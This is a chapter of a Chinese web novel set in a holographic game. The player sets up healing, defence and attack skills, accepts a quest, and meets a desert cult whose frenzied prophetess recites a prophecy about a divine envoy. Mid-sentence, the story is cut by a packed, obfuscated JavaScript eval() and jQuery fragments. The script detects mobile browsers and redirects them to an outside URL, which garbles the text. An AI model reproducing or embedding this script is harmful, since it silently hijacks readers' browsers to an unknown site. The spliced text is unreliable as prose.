9. 预言

作品:《全息游戏里捡到的那家伙

    你笑了笑,回了最后一条消息就放下了手机。


    你在现实中朋友不算多,游戏里也大多独来独往,没想到还能通过「新世界」认识新的朋友。


    至于其他人的回复,你直接删除了自己的留言,不想在这方面多花心思。


    晚上看了看时间,你提前登录了游戏。


    你先按照小巨的要求,把紫武的各项属性和信息介绍重新截图保持,然后打开系统商城,按小巨给的方案搭配起来。


    他给出的七个技能如下——


    (治疗)清润:回复300点血量,技能CD72秒。(主动)


    (防御)护甲:5分钟内增加20点防御,技能CD300秒。(主动)


    (防御)坚固:3分钟内反弹敌方8%实际伤害,技能CD600秒。(主动)


    (攻击)愤怒:如遭遇敌方攻击,防御-5,攻击+15。(被动)


    (攻击)群伤:造成群体伤害800点,有效距离15米,技能CD1200秒。(主动)


    (攻击)反刺:技能生效期后五分钟内如遭遇敌方攻击,有10%概率眩晕敌方,对敌方造成20点伤害,玩家攻击+20,技能CD600秒。(主动)


    (解控)回元:技能生效后玩家恢复50点血量,生效期间如遭遇敌方攻击,若玩家等级高于或等于敌方,可免除眩晕、束缚等不可行动状态;若玩家等级低于敌方,50%概率可免除眩晕、束缚等不可行动状态。技能生效时间20秒(不可行动状态中可使用),技能CD180秒。(主动)


    看完你才理解了为什么小巨说这些技能都是普攻了。你升到16级之后,初始血量上限为5000点,系统里给出的技能能造成的伤害有限,虽然这些数值也能随着玩家等级升级而升级,但玩家自身属性也不是一成不变的,技能升级跟不上玩家属性的升级。


    但这并不意味着这些技能没用。就好比“清润”这个治疗技能,单次回血量相当于一瓶低级回血药,价值却相当于低级回血药的700倍(21000铜,1金=100银=10000铜)。但它的优点在于远远短于低级回血药的CD时间,且使用次数无限,在玩家等级较低、血量上限较低的情况下极为实用。


    而有了“回元”这一技能,你相信下次再面对埃尔维斯那样的情况时绝不会再束手无策。


    全息游戏中的战斗实际上可以由系统托管,但没有技能之前只能靠玩家的战斗意识,通过简单的劈、刺、砍、挑等战斗方式对敌方造成少量伤害,如果打中要害部位,则会造成更高的伤害。有了技能之后,一定程度上就算渡过了艰难的新手期,即便不擅长战斗也可以通过合理的技能搭配获得一定优势。


    当然,对顶尖玩家之间的战斗起到决定性作用的还是玩家个人的操作,同一个技能打在要害部位和其他部位造成的伤害可以说是天壤之别,系统托管能做的有限。你在之前的游戏中积累过一定战斗经验,因此在游戏中战斗时操作起来还算流畅,同火凤交锋时你更是感受到了灵活健康的身体彻底投入战斗所带来的快乐。


    装备上这七个技能后,你才到手没多久的资产又大大缩水,仅剩下100铜币和之前的2012贝币。


    你还没来得及感叹,系统消息就打断了你的思绪。


    【叮】放逐之子(第二章)已解锁(接取倒计时00:29:59)


    【放逐之子】你跟随埃尔维斯来到了沙民聚居之地,这里的居民对你表现出了极大的憎恶,请化解居民们的负面情绪。(限时359:59:59)


    不知为何,你看着长达15天的倒计时感到了一阵恶寒。


    你没有犹豫太久,还是选择了接取。


    第一章给的奖励实在不少,第二章应该也难不到哪里去吧?


    ——————


    一进入剧情,你立刻感到头晕目眩,状态栏各项数值完全处于濒危状态,如果再不做点什么,你相信自己会第三次从沙子堆里爬出来。


    先“护甲”“坚固”,再上“清润”“回元”,血线立马上涨了一小截,你好受了不少,但“回元”的解控效果却没有生效,你还是被埃尔维斯的绳索捆得牢牢的。


    “愤怒”明明是被动技能,不知道为什么你血量仍在下降却没有生效,不过也好,现在不值得牺牲防御换取微乎其微且根本无法发挥的攻击。


    你犹豫了一会儿,“反刺”这个技能还是捏在手里没用。


    你们显然还在传送阵中,你觉得浑身无力,被埃尔维斯用他稚弱的肩膀撑着才能勉强站直。


    想起来之前的遭遇,你心里还是有气,开始嘲讽他:“何必这么辛苦,把我扔在地上就行。”


    “不行。”他解释得很认真,眼中有种你看不懂的狂热,“传送阵外面有时空乱流,你躺在符文上面会受伤的。”


    “你还担心我受伤?”你根本没好气,只觉得他假惺惺,“你说的有真话吗?”


    他脸色爆红,嗫嚅起来:“大部分……”


    但很快他眼中的慌乱和天真都被狂热取代了:“很快就好了。以后你可以惩罚我,怎么样都可以,现在你听我的就好。”


    你想要反口相讥,却突然感觉脚下踩上了实地,紧接着张扬的笑声传了过来,有个红发的女人披头散发,赤着脚向你们的方向狂奔而来。


    她身后跟着跟着一大群白袍蒙面的人,但她眼中只看得到你,疯疯癫癫地边跑边笑,大声喊出谶言一般的谵语。


    很快她跑到了你的身前,你看着她眼中的狂热,不由自主想要后退,但她却直直地跪倒,匍匐在你脚下亲吻起你脚边的土地,口中不断重复着方才的谶言。


    “天上的太阳照常升起,


    血色的泪湖却停止哭泣,


    沙漠的子民无处安息,


    唯有阿夏尔将神恩洒向大地!


    祂的使者即将莅临!


    归来吧!归来啊!


    引领祂之人不属阳也不属阴,


    祂手持沙漠之主的印信、


    找到掩埋地底的绿色之心,


    祂被视为外来者遭厌弃,


    唯有真信者之血才能将祂唤醒!


    祂的使者已经来临!


    现身吧!现身吧!


    太阳的阴影终会散去,


    信仰的光芒由祂给予,


    世间何曾有过不义之举,


    唯有伪信者把骨骸深埋于泪湖之淤!


    不洁之物被烧成灰烬!


    祂将同使者一起降临!”


    她念完这段谶语,所有白袍蒙面的人都像被钉在了原地,所有人的眼中都饱含复杂的情绪,但这个女人毫不在乎,她只是跪倒在你身前又哭又笑,口中大喊起来:“我看到了!我看到了!我才是真信者!我才是!”


    埃尔维斯似乎很慌乱,他的脚步犹疑着,像是想向这群人靠近,又像是想躲在你身后。


    正当你不知所措之时,人群中陡然分开一条道路来。一位身着红袍老者从人群中走出来,她满脸皱纹,表情看上去格外苦涩,但满头红发却热烈又鲜艳,随着她的脚步微微飘动起来。


    她看上去很从容,却走得很快,身后两步的位置还跟着一个白袍子。


    老者避


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774027|157878||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    开你的视线,淡淡地开口:“起来吧,钦黛尔。”


    跪倒在你身前的女人立刻膝行过去,亲吻着老者的小腿,你看到她又挺直了脊背:“祂来了!祂真的来了!血色泪湖开始干涸,阿夏尔为拯救沙漠的子民而来!”


    “是与不是,还没到可以做出判断的时候。”


    老者的语气很淡,但表情却始终停留在苦涩的状态。她话音刚落,老者身后的白袍子就站出来,伸手扶起跪在地上的钦黛尔。钦黛尔却不领情,她挥手挡开白袍子,自己却失去平衡往后倒去。


    “母亲!”


    扶住他的人是埃尔维斯,他松开了那条锈色的长索,朝着名为钦黛尔的女人跑去。你在女人絮叨那意味不明的谶言时灌了一瓶中级回血药,已经恢复了不少,此时只静静地站在原地,你分明看见了埃尔维斯棕色眸子里明晃晃的关心。


    原来这就是他母亲。


    但钦黛尔一个眼神也没给他,踉跄着回转你的身边,牵起你的手背开始亲吻:“发发慈悲吧,阿夏尔的半身,可怜可怜你眼前的真信者,显示你的神威来证明我的忠贞吧!”


    “普尔伽什!”


    老者冷喝一声,声音中多了几分冷厉。很快之前的白袍子就走上来,直接将地上的钦黛尔拖走。钦黛尔的下袍上沾满沙土,连她脸上和头发上也是,她却毫不在意,一双含泪的眼睛哀哀地望向你一眨不眨,你才注意到她的容貌凄艳至极,一双手臂还用力地向你伸过来。


    两人很快都消失在你的视线中,钦黛尔的哀嚎传来,你不知道她遭遇了什么,头皮一阵一阵地发麻起来。


    老者像是全然没有听到,又或者是全然不在意,她上前几步,就在你以为她要做些什么的时候,她也跪倒在你身前。


    “瓦萨达蒂!”众白袍都惊呼起来,显然对老者的举动感到震惊。


    老者无动于衷,仍然继续自己的举动,她将红发深深地低下去:“假若您是祂的半身,您卑微的信徒祈求您展示您的印信。”


    你正一头雾水,埃尔维斯走上前,跪在老者身后,双手上举。


    他手中正是那根发白的火凤尾羽。


    他声音坚定:“这是沙漠之主的印信,我曾亲眼看见她取下。”


    人群中又是一片哗然,老者站起身,将尾羽举在阳光下打量起来。


    “达尔勒穆,班哈杜。”


    两个高大的白袍子从人群的前排走过来,他们先是向老者躬身,接着取下了他们头上罩着的白布,两个人都是金发的男子。


    他们跟着打量了一会儿,左边的那个先开口:“这确实是火凤的尾羽,‘沙漠之主的印信’。”


    “班哈杜?”老者向另一个人示意。


    “这……”班哈杜的看了一眼达尔勒穆,回答得很谨慎,“力量几近消散,但确实是火凤的尾羽。”


    “那么,你们都承认这信物?”老者问道。


    众人默然,没有一个人站出来回答。


    埃尔维斯低头跪在原地,没有人问他话,也没有人去注意他,但他显然已经习惯了这样的遭遇。


    刚才拖走钦黛尔的白袍子又回来了,她也解开头巾,露出一张平凡的面容,唯一引人注意的是她纯粹而热烈的红发。


    她跪在老者正前方:“瓦萨达蒂,普尔伽什不敢口称真信者,我们的双眼在祂的神辉面前如同失明,又怎么敢判断祂的使者是否已经来临?”


    瓦萨达蒂脸上的表情动了起来,她不再苦着脸,微微挑眉:“哦?”


    普尔伽什直视她:“既然谶语已经将一切预言,就让这预言去判断吧,一切都是祂的旨意。”